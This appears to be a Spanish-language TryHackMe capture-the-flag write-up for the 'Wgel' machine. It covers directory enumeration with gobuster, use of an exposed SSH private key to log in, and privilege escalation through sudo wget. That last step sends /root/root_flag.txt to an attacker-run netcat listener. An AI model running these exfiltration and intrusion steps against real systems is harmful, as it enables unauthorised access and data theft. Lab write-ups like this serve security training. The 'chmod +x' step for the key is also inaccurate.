--- title: THM - WGEL chapter: 1 tags: [tryhackme] difficulty: easy --- ## Scan Al realizar un escaneo a la máquina se encuentran los siguientes puertos abiertos. ![](https://hackmd.io/_uploads/rJeGLhNin.png) Por lo que parece ser un reto de categoría web ## Enumeración Al entrar a la página se puede ver la configuración por defecto del servidor de apache, por lo que sería buena idea buscar directorios por defecto para encontrar información intersante. ![](https://hackmd.io/_uploads/Sy3Od2Nsh.png) Pero antes es importante revisar el código fuente para encontrar alguna clase de información de utiliad. Por ejemplo en este caso el nombre de un usuario. ![](https://hackmd.io/_uploads/S1TiphEsh.png) Para listar directorios se hace uso del siguiente comando: ```bash= gobuster dir -u http://10.10.184.7/ -w /usr/share/wordlists/dirb/big.txt -t 100 -x .php,.html,.txt,.js,.jpg,.png ``` ![](https://hackmd.io/_uploads/B1jNd3Eoh.png) Y al entrar en la dirección /sitemap se encuentra la siguiente página web. ![](https://hackmd.io/_uploads/Sy_5O2Ns2.png) Al navegar dentro de la página web no parece haber nada interanste. Por lo que se vuelven a intentar listar directorios dentro del directorio /sitemap. Haciendo uso del siguiente comando: ```bash= gobuster dir -u http://10.10.184.7/sitemap -w /usr/share/wordlists/dirb/big.txt -t 100 -x .php,.html,.txt,.js,.jpg,.png ``` En donde se encuentrán varios directorios/archivos. Pero de los cuales el directorio .ssh parece bastante llamativo. ![](https://hackmd.io/_uploads/H1v9FnVo2.png) En donde se encuentra una llave rsa con la que se puede obtener acceso al host víctima sin necesidad de tener credenciales. ![](https://hackmd.io/_uploads/SJ8iK34on.png) ## Explotación Pero primero es necesario darle los permisos adecuados a la llave ssh con chmod: ```bash= chmod +x id_rsa ``` Ahora solo hace falta conectarse por via ssh haciendo uso del siguiente comando. ```bash= ssh -i id_rsa jessie@10.10.184.7 ``` ![](https://hackmd.io/_uploads/SJdgChNon.png) Y al revisar dentro del host se puede encontrar el archivo que contiene la flag a simple vista. ![](https://hackmd.io/_uploads/rJvF0nNon.png) ## Escalada de privilegios Al revisar los permisos de ejecución con los que cuenta el usuario jessie, se puede ver que puede ejecutar como sudo wget. ![](https://hackmd.io/_uploads/H1oWJTVs2.png) Con esto en mente solo hace falta hacer uso de gtfobins para poder encontrar alguna manera de escalar privilegios. En este caso también es valido lograr mover a la máquina atacante información privilegiada, así que se hace uso de wget para montar un servidor sobre el que se pueda extraer el archivo root_flag.txt. Para poder hacer esto es necesario saber el nombre del archivo que se quiere enviar, y poner algún puerto a la escucha. Y con eso hacer uso del siguiente comando. ```bash= #HOST ATACANTE nc -lvp 80 ``` ```bash= #HOST VÍCTIMA sudo /usr/bin/wget --post-file=/root/root_flag.txt 10.8.116.197 ``` Y con eso llegara a el host atacante la respuesta con la flag. ![](https://hackmd.io/_uploads/H1EJXpNo3.png)